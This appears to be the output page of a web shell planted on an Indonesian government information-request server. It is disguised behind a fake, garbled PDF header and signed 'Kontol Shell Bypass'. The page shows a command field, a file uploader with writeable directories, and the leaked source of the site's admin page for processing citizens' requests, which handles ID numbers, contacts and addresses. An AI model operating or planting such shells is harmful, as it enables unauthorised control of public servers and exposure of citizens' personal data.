%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/permohonan-detail.php
<?php
/**
 * Admin: detail & proses permohonan informasi.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_once dirname(__DIR__) . '/includes/upload.php';
require_central();

$id = (int) get_param('id', '0');

$stmt = db()->prepare(
    'SELECT p.*, k.nama AS kategori_nama, a.nama AS petugas_nama
     FROM permohonan p
     LEFT JOIN kategori_informasi k ON k.id = p.kategori_id
     LEFT JOIN admin_users a ON a.id = p.diproses_oleh
     WHERE p.id = ? LIMIT 1'
);
$stmt->execute([$id]);
$p = $stmt->fetch();

if (!$p) {
    set_flash('error', 'Permohonan tidak ditemukan.');
    redirect('admin/permohonan.php');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    $newStatus = post_param('status');
    $tanggapan = post_param('tanggapan');
    $validStatus = ['verifikasi', 'diproses', 'selesai', 'ditolak'];

    if (!in_array($newStatus, $validStatus, true)) {
        set_flash('error', 'Status tidak valid.');
        redirect('admin/permohonan-detail.php?id=' . $id);
    }

    $fileTanggapan = $p['file_tanggapan'];
    if (!empty($_FILES['file_tanggapan']['name'])) {
        $up = handle_upload($_FILES['file_tanggapan'], 'tanggapan');
        if (!$up['ok']) {
            set_flash('error', 'Gagal mengunggah berkas: ' . $up['error']);
            redirect('admin/permohonan-detail.php?id=' . $id);
        }
        delete_upload('tanggapan', $fileTanggapan);
        $fileTanggapan = $up['filename'];
    }

    $tanggalSelesai = ($newStatus === 'selesai') ? date('Y-m-d H:i:s') : null;

    $upd = db()->prepare(
        'UPDATE permohonan
         SET status = ?, tanggapan = ?, file_tanggapan = ?, diproses_oleh = ?, tanggal_selesai = ?
         WHERE id = ?'
    );
    $upd->execute([$newStatus, $tanggapan, $fileTanggapan, current_admin()['id'], $tanggalSelesai, $id]);

    set_flash('success', 'Permohonan berhasil diperbarui.');
    redirect('admin/permohonan-detail.php?id=' . $id);
}

$adaFileTanggapan = !empty($p['file_tanggapan']) && is_file(UPLOAD_PATH . '/tanggapan/' . $p['file_tanggapan']);

$pageTitle  = 'Detail Permohonan ' . $p['no_resi'];
$activeMenu = 'permohonan';
require __DIR__ . '/partials/head.php';
?>

<div class="mb-6">
    <a href="<?= e(url('admin/permohonan.php')) ?>" class="text-sm text-slate-500 hover:text-mateng-green inline-flex items-center gap-2 mb-3"><i class="fas fa-arrow-left"></i> Kembali ke daftar</a>
    <div class="flex flex-wrap items-center justify-between gap-3">
        <h2 class="text-2xl font-bold text-slate-900">Permohonan <?= e($p['no_resi']) ?></h2>
        <?= badge_status($p['status']) ?>
    </div>
</div>

<div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
    <!-- Detail permohonan -->
    <div class="lg:col-span-2 space-y-6">
        <div class="bg-white border border-slate-100 rounded-xl shadow-sm p-6">
            <?php
            $tipe = $p['tipe_pemohon'] ?? 'perorangan';
            $tipeLabel = ['perorangan' => 'Perorangan', 'badan_hukum' => 'Kelompok Berbadan Hukum', 'non_badan_hukum' => 'Kelompok Tak Berbadan Hukum'][$tipe] ?? 'Perorangan';
            $tipeBadge = ['perorangan' => 'bg-amber-50 text-orange-600', 'badan_hukum' => 'bg-emerald-50 text-teal-600', 'non_badan_hukum' => 'bg-pink-50 text-rose-600'][$tipe] ?? 'bg-slate-100 text-slate-600';
            $isGroup = $tipe !== 'perorangan';
            ?>
            <div class="flex items-center justify-between mb-4">
                <h3 class="font-bold text-slate-800 flex items-center gap-2"><i class="fas fa-user text-mateng-green"></i> Data Pemohon</h3>
                <span class="text-xs font-semibold px-2.5 py-1 rounded-full <?= $tipeBadge ?>"><?= e($tipeLabel) ?></span>
            </div>

            <?php if ($isGroup): ?>
                <div class="bg-slate-50 border border-slate-100 rounded-lg p-4 mb-4">
                    <p class="text-xs font-semibold text-slate-400 uppercase tracking-wider mb-3"><?= $tipe === 'badan_hukum' ? 'Data Badan Hukum' : 'Data Kelompok' ?></p>
                    <dl class="grid grid-cols-1 sm:grid-cols-2 gap-x-6 gap-y-3 text-sm">
                        <div class="sm:col-span-2"><dt class="text-slate-400 mb-0.5"><?= $tipe === 'badan_hukum' ? 'Nama Badan Hukum / Organisasi' : 'Nama Kelompok / Komunitas' ?></dt><dd class="font-medium text-slate-800"><?= e($p['nama_lembaga'] ?: '-') ?></dd></div>
                        <?php if ($tipe === 'badan_hukum'): ?>
                            <div><dt class="text-slate-400 mb-0.5">Nomor AHU Kemenkumham</dt><dd class="font-medium text-slate-800"><?= e($p['no_ahu'] ?: '-') ?></dd></div>
                            <div><dt class="text-slate-400 mb-0.5">Nomor Akta Notaris</dt><dd class="font-medium text-slate-800"><?= e($p['akta_notaris'] ?: '-') ?></dd></div>
                        <?php else: ?>
                            <div><dt class="text-slate-400 mb-0.5">Jumlah Anggota</dt><dd class="font-medium text-slate-800"><?= $p['jumlah_anggota'] !== null ? (int) $p['jumlah_anggota'] . ' orang' : '-' ?></dd></div>
                        <?php endif; ?>
                    </dl>
                </div>
                <p class="text-xs font-semibold text-slate-400 uppercase tracking-wider mb-3">Penanggung Jawab</p>
            <?php endif; ?>

            <dl class="grid grid-cols-1 sm:grid-cols-2 gap-x-6 gap-y-4 text-sm">
                <div><dt class="text-slate-400 mb-0.5"><?= $isGroup ? 'Nama Penanggung Jawab' : 'Nama Lengkap' ?></dt><dd class="font-medium text-slate-800"><?= e($p['nama']) ?></dd></div>
                <div><dt class="text-slate-400 mb-0.5">NIK</dt><dd class="font-medium text-slate-800"><?= e($p['nik']) ?></dd></div>
                <div><dt class="text-slate-400 mb-0.5">Email</dt><dd class="font-medium text-slate-800"><?= e($p['email']) ?></dd></div>
                <div><dt class="text-slate-400 mb-0.5">No. HP</dt><dd class="font-medium text-slate-800"><?= e($p['no_hp']) ?></dd></div>
                <div><dt class="text-slate-400 mb-0.5">Pekerjaan</dt><dd class="font-medium text-slate-800"><?= e($p['pekerjaan'] ?: '-') ?></dd></div>
                <div><dt class="text-slate-400 mb-0.5">Alamat</dt><dd class="font-medium text-slate-800"><?= e($p['alamat'] ?: '-') ?></dd></div>
            </dl>
        </div>

        <div class="bg-white border border-slate-100 rounded-xl shadow-sm p-6">
            <h3 class="font-bold text-slate-800 mb-4 flex items-center gap-2"><i class="fas fa-file-lines text-mateng-blue"></i> Rincian Permohonan</h3>
            <dl class="space-y-4 text-sm">
                <div><dt class="text-slate-400 mb-0.5">Kategori</dt><dd class="font-medium text-slate-800"><?= e($p['kategori_nama'] ?: 'Tidak ditentukan') ?></dd></div>
                <div><dt class="text-slate-400 mb-0.5">Rincian Informasi yang Diminta</dt><dd class="font-medium text-slate-800 whitespace-pre-line"><?= e($p['rincian_informasi']) ?></dd></div>
                <div><dt class="text-slate-400 mb-0.5">Tujuan Penggunaan</dt><dd class="font-medium text-slate-800 whitespace-pre-line"><?= e($p['tujuan_penggunaan']) ?></dd></div>
                <div class="grid grid-cols-2 gap-4">
                    <div><dt class="text-slate-400 mb-0.5">Cara Memperoleh</dt><dd class="font-medium text-slate-800 capitalize"><?= e($p['cara_memperoleh']) ?></dd></div>
                    <div><dt class="text-slate-400 mb-0.5">Cara Menerima</dt><dd class="font-medium text-slate-800 capitalize"><?= e($p['cara_terima']) ?></dd></div>
                </div>
                <div><dt class="text-slate-400 mb-0.5">Tanggal Pengajuan</dt><dd class="font-medium text-slate-800"><?= e(tanggal_id($p['created_at'], true)) ?></dd></div>
            </dl>
        </div>
    </div>

    <!-- Form proses -->
    <div class="space-y-6">
        <form method="post" enctype="multipart/form-data" class="bg-white border border-slate-100 rounded-xl shadow-sm p-6 sticky top-4">
            <?= csrf_field() ?>
            <h3 class="font-bold text-slate-800 mb-4 flex items-center gap-2"><i class="fas fa-tasks text-mateng-gold"></i> Proses Permohonan</h3>

            <div class="mb-4">
                <label class="block text-sm font-medium text-slate-700 mb-1.5">Status</label>
                <select name="status" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100 bg-white">
                    <?php foreach (['verifikasi' => 'Verifikasi', 'diproses' => 'Diproses', 'selesai' => 'Selesai', 'ditolak' => 'Ditolak'] as $key => $label): ?>
                        <option value="<?= e($key) ?>" <?= $p['status'] === $key ? 'selected' : '' ?>><?= e($label) ?></option>
                    <?php endforeach; ?>
                </select>
            </div>

            <div class="mb-4">
                <label class="block text-sm font-medium text-slate-700 mb-1.5">Tanggapan untuk Pemohon</label>
                <textarea name="tanggapan" rows="5" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100" placeholder="Tulis tanggapan / penjelasan kepada pemohon..."><?= e($p['tanggapan']) ?></textarea>
            </div>

            <div class="mb-5">
                <label class="block text-sm font-medium text-slate-700 mb-1.5">Lampiran Dokumen Tanggapan</label>
                <?php if ($adaFileTanggapan): ?>
                    <div class="flex items-center gap-2 text-sm text-slate-600 bg-slate-50 border border-slate-200 rounded-lg px-3 py-2 mb-2">
                        <i class="fas <?= e(file_icon($p['file_tanggapan'])) ?>"></i>
                        <span class="flex-grow truncate">Berkas terlampir</span>
                        <a href="<?= e(url('admin/unduh-tanggapan.php?id=' . $p['id'])) ?>" class="text-mateng-blue hover:underline">Unduh</a>
                    </div>
                <?php endif; ?>
                <input type="file" name="file_tanggapan" class="w-full text-sm text-slate-600 file:mr-3 file:py-2 file:px-4 file:rounded-lg file:border-0 file:bg-mateng-green/10 file:text-mateng-green file:font-semibold hover:file:bg-mateng-green/20 file:cursor-pointer">
                <p class="text-xs text-slate-400 mt-1">PDF/DOC/XLS/JPG/PNG, maks <?= format_size(MAX_UPLOAD_SIZE) ?>.</p>
            </div>

            <button type="submit" class="w-full bg-mateng-green hover:bg-green-700 text-white font-bold py-3 rounded-lg transition-colors flex items-center justify-center gap-2">
                <i class="fas fa-save"></i> Simpan Perubahan
            </button>
        </form>

        <?php if ($p['petugas_nama'] || $p['tanggal_selesai']): ?>
        <div class="bg-slate-50 border border-slate-200 rounded-xl p-5 text-sm">
            <h4 class="font-semibold text-slate-700 mb-3">Riwayat Proses</h4>
            <?php if ($p['petugas_nama']): ?><p class="text-slate-500 mb-1"><i class="fas fa-user-shield mr-1.5"></i>Diproses oleh: <strong class="text-slate-700"><?= e($p['petugas_nama']) ?></strong></p><?php endif; ?>
            <?php if ($p['tanggal_selesai']): ?><p class="text-slate-500"><i class="fas fa-check-circle mr-1.5"></i>Selesai: <strong class="text-slate-700"><?= e(tanggal_id($p['tanggal_selesai'], true)) ?></strong></p><?php endif; ?>
        </div>
        <?php endif; ?>
    </div>
</div>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass